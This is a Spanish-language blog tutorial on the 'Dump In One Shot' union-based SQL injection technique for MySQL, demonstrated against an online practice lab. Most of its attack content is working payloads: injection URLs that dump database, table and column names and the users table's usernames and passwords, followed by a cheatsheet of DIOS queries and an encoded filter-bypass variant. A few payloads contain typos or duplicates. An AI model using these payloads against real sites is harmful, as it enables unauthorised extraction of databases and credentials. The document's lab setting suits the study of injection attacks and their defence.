Inyecciones SQL como DIOS

El post de hoy no trata de inyecciones como si fueras del fuc**** master, si no que el acrónimo DIOS se refiere a Dump In One Shot, una técnica de inyección SQL que lleva existiendo ya desde hace años pero que sin embargo todavía hoy no es demasiado conocida. Como su nombre indica, DIOS es forma peculiar de construir inyecciones SQL que, con la ayuda del uso de ciertas sentencias, nos permite obtener el volcado completo para una consulta.

Con SQLis DIOS no necesitas herramientas como Sqlmap o Havij, sólo con el navegador puedes traerte todos los datos que necesitas y mediante una "única bala". Normalmente aplica en inyecciones de tipo union y también, aunque menos comunes y más difíciles de implementar, a las basadas en error. Para las inyecciones ciegas, esta técnica no se aplica.

Para entender como funciona vamos a ver la clásica inyección SQL 'Union Base' usando DIOS contra una base de datos MySQL. Para ello usaremos el laboratorio online SQLInjection Ninja de Security Idiots, que además son los mejores mesías de este tipo de inyecciones.

Primero identificaremos el recurso vulnerable a SQLi:

http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=.1%27%20union%20select%20111,222,333%20--%20-


La columna 222 es vulnerable: en ella insertaremos nuestra petición DIOS.

http://leettime.net/sqlninja.com/tasks/basic_ch1.php
?id=.1' union select 111,((select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.schemata)where (@a)in (@a:=concat(@a,schema_name,'
'))))a)),333 -- -


Como podéis ver, con esa consulta devolvimos la lista de todas las bases de datos en ese sitio.

Ahora, vamos a intentar comprender cómo llegamos a eso. Primero, veamos esta consulta:

select * from test.users where user_name in ("hacker","admin","rururu","tututu");


la petición será idéntica a esta consulta:

select * from test.user where user_name='hacker' or user_name='admin' or user_name='rururu' or user_name='tututu';


que devolverá la consulta de todos los datos de la tabla user_name donde se cumplen las condiciones: en nuestro caso los datos de los usuarios admin y hacker se devolverán para que cumplan con la cláusula where.

A continuación, miremos esta parte de la query:

(select (@a) from (information_schema.schemata)where(@a)in @a:=concat(@a,schema_name,'')

Como podemos ver con el comando select, seleccionamos la variable @a (el signo de la variable en la sintaxis MySQL ) de la tabla information_schema.schemata y, gracias a la instrucción IN, todos los nombres de las bases de datos entran en el procesamiento del comando IN y son captados porque todos ellos existen en la base de datos.

Por lo tanto, se ejecuta un bucle donde se suministra y selecciona la variable @a para cada nombre de base de datos existente y, como resultado, obtenemos el resultado en la salida.

Ahora veamos la parte final de la consulta:

(select(@a)from(select(@a:=0x00),(select (@a) from (information_schema.schemata)where(@a)in(@a:=concat(@a,schema_name, '\n'))))a);

Aquí, se muestrea una parte de los valores unificados de @a.
Se ve bastante bien cómo se procesa la variable @a en un bucle y cómo se muestrea la muestra (valga la redundancia).

Tener en cuenta que para concatenar cadenas no usamos el comando group_concat porque solo puede devolver los primeros 1024 caracteres (aunque se puede eludir esta restricción con el comando CAST AS y especificar los caracteres de salida co-deseados, pero no hablaremos de esto hoy).

Usemos nuestra consulta DIOS para enumerar los nombres de todas las tablas:

(select(@a)from(select(@a:=0x00),(select (@a) from (information_schema.colums)where(@a)in(@a:=concat(@a,table_schema,'  
:::  ',table_name,'\n'))))a);


Y para nuestro sitio vulnerable la respuesta a la petición se verá así:


Si no necesitamos la base de datos information_schema, entonces podemos filtrarla de inmediato en nuestra consulta DIOS y nuestra solicitud será la siguiente:

http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=.1' union select 111,((select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.columns)where(table_schema!='information_schema')and (@a)in (@a:=concat(@a,'',table_schema,'  ::: > ',table_name,''))))a)),333 -- -

Con ésta última, obtendremos la siguiente salida:


Ahora agreguemos a nuestra salida los nombres de las columnas:

http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=.1' union select 111,((select (@a) from (select(@a:=0x00),(select (@a)
from (users)where (@a)in (@a:=concat(@a,'<font color=red>',
username,'</font><font color=green>  ::: > ',password,'</font><font color=blue>  --->  ',sec_code,'<br>'))))a)),333 -- -
 

Si necesitamos obtener un volcado de datos de la tabla deseada, también podemos usar una consulta del formulario:

http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=.1' union select 111,((select (@a) from (select(@a:=0x00),(select (@a)
from (users)where (@a)in (@a:=concat(@a,'<font color=red>',
username,'</font><font color=green>  ::: > ',password,'</font><font color=blue>  --->  ',sec_code,'<br>'))))a)),333 -- -


Y así es como observamos la clásica consulta DIOS simple en inyección SQL.

Finalmente os dejo un pequeño cheatsheet por si queréis "practicar":

Cheatsheet SQLi DIOS

Mostrar todas las bases de datos:

(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.schemata)where (@a)in (@a:=/*!50000concat*/(@a,schema_name,'<br>'))))a)

Mostrar todas las tablas:

(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.tables)where (@a)in (@a:=/*!50000concat*/(@a,table_name,'<br>'))))a)

Mostrar todas las tablas excepto las de information_schema:

(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.tables)where table_schema!='information_schema' and(@a)in (@a:=/*!50000concat*/(@a,table_name,'<br>'))))a)

Mostrar todas las bases de datos y tablas:

(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.tables)where table_schema!='information_schema' and(@a)in (@a:=/*!50000concat*/(@a,table_schema,0x3a,table_name,'<br>'))))a)

Mostrar todas las bases de datos, tablas y columnas:

(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.tables)where table_schema!='information_schema' and(@a)in (@a:=/*!50000concat*/(@a,table_schema,0x3a,table_name,'<br>'))))a)

Mostrar los datos de la tabla 'Hacker':

(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.columns)where table_schema!='information_schema' and table_name like 'Hacker_%' and(@a)in (@a:=concat(@a,table_schema,' > ',table_name,' > ',column_name,'<br>'))))a)

Mostrar cada tabla y las columnas:

(select (@a) from (select(@a:=0x00),(@tbl:=0x00),(select (@a) from (information_schema.columns) where (table_schema!='information_schema') and(0x00)in (@a:=concat(@a,0x3c62723e,if( (@tbl!=table_name), Concat(0x3c62723e,table_schema,' :: ',@tbl:=table_name,'',column_name), (column_name))))))a)

Mostrar cada tabla con el contador de registros y todas las columnas:

(select (@a) from (select(@a:=0x00),(@tbl:=0x00),(@tbl_sc:=0x00),(select (@a) from (information_schema.columns) where (table_schema!='information_schema') and(0x00)in (@a:=concat(@a,0x3c62723e,if( (@tbl!=table_name), Concat(0x3c62723e,@tbl_sc:=table_schema,' :: ',@tbl:=table_name,' (Rows ',(select table_rows from information_schema.tables where table_schema=@tbl_sc and table_name=@tbl),')
',column_name), (column_name))))))a)

Mostrar cada tabla con el contador de registros, ordenados numéricamente y todas las columnas:

(select (@a) from (select(@a:=0x00),(@tbl:=0x00),(@tbl_sc:=0x00),(select (@a) from (information_schema.columns) where (table_schema!='information_schema') and(0x00)in (@a:=concat(@a,0x3c62723e,if( (@tbl!=table_name), Concat(0x3c62723e,@tbl_sc:=table_schema,' :: ',@tbl:=table_name,' (Rows ',(select table_rows from information_schema.tables where table_schema=@tbl_sc and table_name=@tbl),')
',column_name), (column_name))))))a)(select (@a) from (select(@a:=0x00),(@tbl:=0x00),(@tbl_sc:=0x00),(@num:=0),(select (@a) from (information_schema.columns) where (table_schema!='information_schema') and(0x00)in (@a:=concat(@a,0x3c62723e,if( (@tbl!=table_name), Concat(0x3c62723e,@num:=(@num%2b1),0x2920,@tbl_sc:=table_schema,' :: ',@tbl:=table_name,' (Rows ',(select table_rows from information_schema.tables where table_schema=@tbl_sc and table_name=@tbl),')<br>',column_name), (column_name))))))a)

Bypass:

(/*!12345%73elect*/(@a)/*!12345%66rom*/(/*!12345%73elect*/(@a:=0x00),(@tbl:=0x00),(@tbl_sc:=0x00),(@num:=0),(/*!12345%73elect*/(@a)/*!12345%66rom*/(/*!12345`%69nformation_%73chema`.`%63olumns`*/)%77here (`%74able_schema`!=/*!12345'%69nformation_schema'*/)and(0x00)in(@a:=%63oncat%0a(@a,0x3c62723e,if( (@tbl!=/*!12345`table_name`*/), %43oncat%0a(0x3c62723e,@num:=(@num%2b1),0x2920,@tbl_sc:=`table_schema`,0x203a3a2​0,@tbl:=`%74able_name`,0x2028526f777320,(/*!12345%73elect*/`table_rows`from/*!12345`%69nformation_schema`.`tables`*/where table_schema=@tbl_sc and/*!12345`%74able_name`*/=@tbl),0x293c62723e,/*!12345`%63olumn_name`*/), (/*!12345`%63olumn_name`*/))))))a)

Extraer los datos de la columna de la tabla:

(select (@) from (select(@:=0x00),(select (@) from (users) where (@)in (@:=concat(@,0x3C,0x62,0x72,0x3E,' [ ',username,' ] > ',pass,' > '))

Fuentes:

- DIOS запросы в SQL инъекциях
- DIOS (Dump in One Shot) Explained
- DIOS the SQL Injectors Weapon (Upgraded)
- DIOS (Dump in One Shot) Explained Part 2
- DIOS Query Collections
- DIOS (Dump In One Shot) Collection (Pastebin)
- Error Based Dump In One Shot - (DIOS)
- Union Based DIOS (Dump In One Shot) SQL Injection

Comentarios